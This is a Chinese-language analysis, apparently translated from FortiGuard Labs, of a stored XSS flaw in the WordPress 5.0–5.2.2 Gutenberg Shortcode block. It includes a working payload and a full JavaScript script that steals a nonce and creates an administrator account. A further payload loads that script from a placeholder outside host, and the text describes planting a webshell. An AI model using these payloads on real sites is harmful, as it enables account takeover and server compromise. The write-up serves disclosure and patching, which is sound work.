WordPress存储型XSS漏洞分析

 

0x00 前言

WordPress是世界上最流行的CMS(内容管理系统),占据全球60.4%的市场份额,这个数字远远高于第二名的Joomla!(5.2%的市场份额)。因此,在互联网上有超过三分之一的网站采用WordPress构建。

FortiGuard Labs团队最近在WordPress中发现了一个存储型XSS(Cross-Site Scripting)0day漏洞,这个XSS漏洞位于WordPress 5.0新增的Gutenberg编辑器中,该编辑器无法正确过滤Shortcode(短代码)错误消息中的JavaScript/HTML代码。如果远程攻击者具备Contributor(贡献者)或者更高权限,当受害者访问被攻击的网页时,攻击者就可以在受害者浏览器上下文中执行任意JavaScript/HTML代码。如果受害者具备更高权限(比如管理员权限),攻击者甚至可以攻破整个web服务器。

这个存储型XSS漏洞影响5.0至5.2.2版的WordPress。

 

0x01 漏洞分析

在WordPress 5.0中,用户可以在文章(post)中添加Shortcode块(block)。当在Shortcode块中添加特定的HTML编码字符(比如&lt;)然后重新打开该文章时,WordPress就会显示一个错误消息,将&lt;解码成<然后展示预览。

图1. 在Shortcode块中插入HTML编码字符

图2. Shortcode错误消息预览

我们可以使用"&gt;&lt;img src=1 onerror=prompt(1)&gt;这段PoC代码轻松绕过预览视图中的XSS过滤器。

图3. 将PoC代码插入Shortcode块

当受害者查看该文章时,就会在浏览器中执行XSS代码。

图4. WordPress Shortcode预览XSS

如果受害者刚好具备管理员权限,那么攻击者就可以利用该漏洞来获取管理员账户的控制权,利用WordPress内置的函数拿到shell,进一步控制整个服务器。

比如,攻击者可以在自己的web服务器上托管一个JavaScript文件(这里以wpaddadmin.js为例),这段JavaScript代码会添加一个WordPress管理员账户,用户名为attack,密码为attack

// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
var ajaxRequest = new XMLHttpRequest();  
var requestURL = "/wordpress/wp-admin/user-new.php";  
var nonceRegex = /ser" value="([^"]*?)"/g;  
ajaxRequest.open("GET", requestURL, false);  
ajaxRequest.send();  
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);  
var nonce = nonceMatch[1];  

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator  
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";  
ajaxRequest = new XMLHttpRequest();  
ajaxRequest.open("POST", requestURL, true);  
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
ajaxRequest.send(params);

然后攻击者可以使用如下PoC来插入JavaScript。

"&gt;&lt;img src=1 onerror="javascript&colon;(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();"&gt;

图5. 插入XSS代码以添加管理员账户

一旦具备高权限的受害者查看该文章,就会创建attacker管理员账户。

图6. 执行XSS代码

图7. XSS代码成功创建具备管理员权限的attacker账户

随后攻击者可以修改已有的php文件,改成webshell代码,以便接管目标web服务器。

图8. 使用攻击者账户添加webshell

图9. 控制web服务器

 

0x02 解决方案

FortiGuard Labs向WordPress反馈了这个0day漏洞,官方很快发布了相应补丁。如果大家正在使用存在漏洞的WordPress版本,请尽快升级到最新版,或者及时打上补丁。

(完)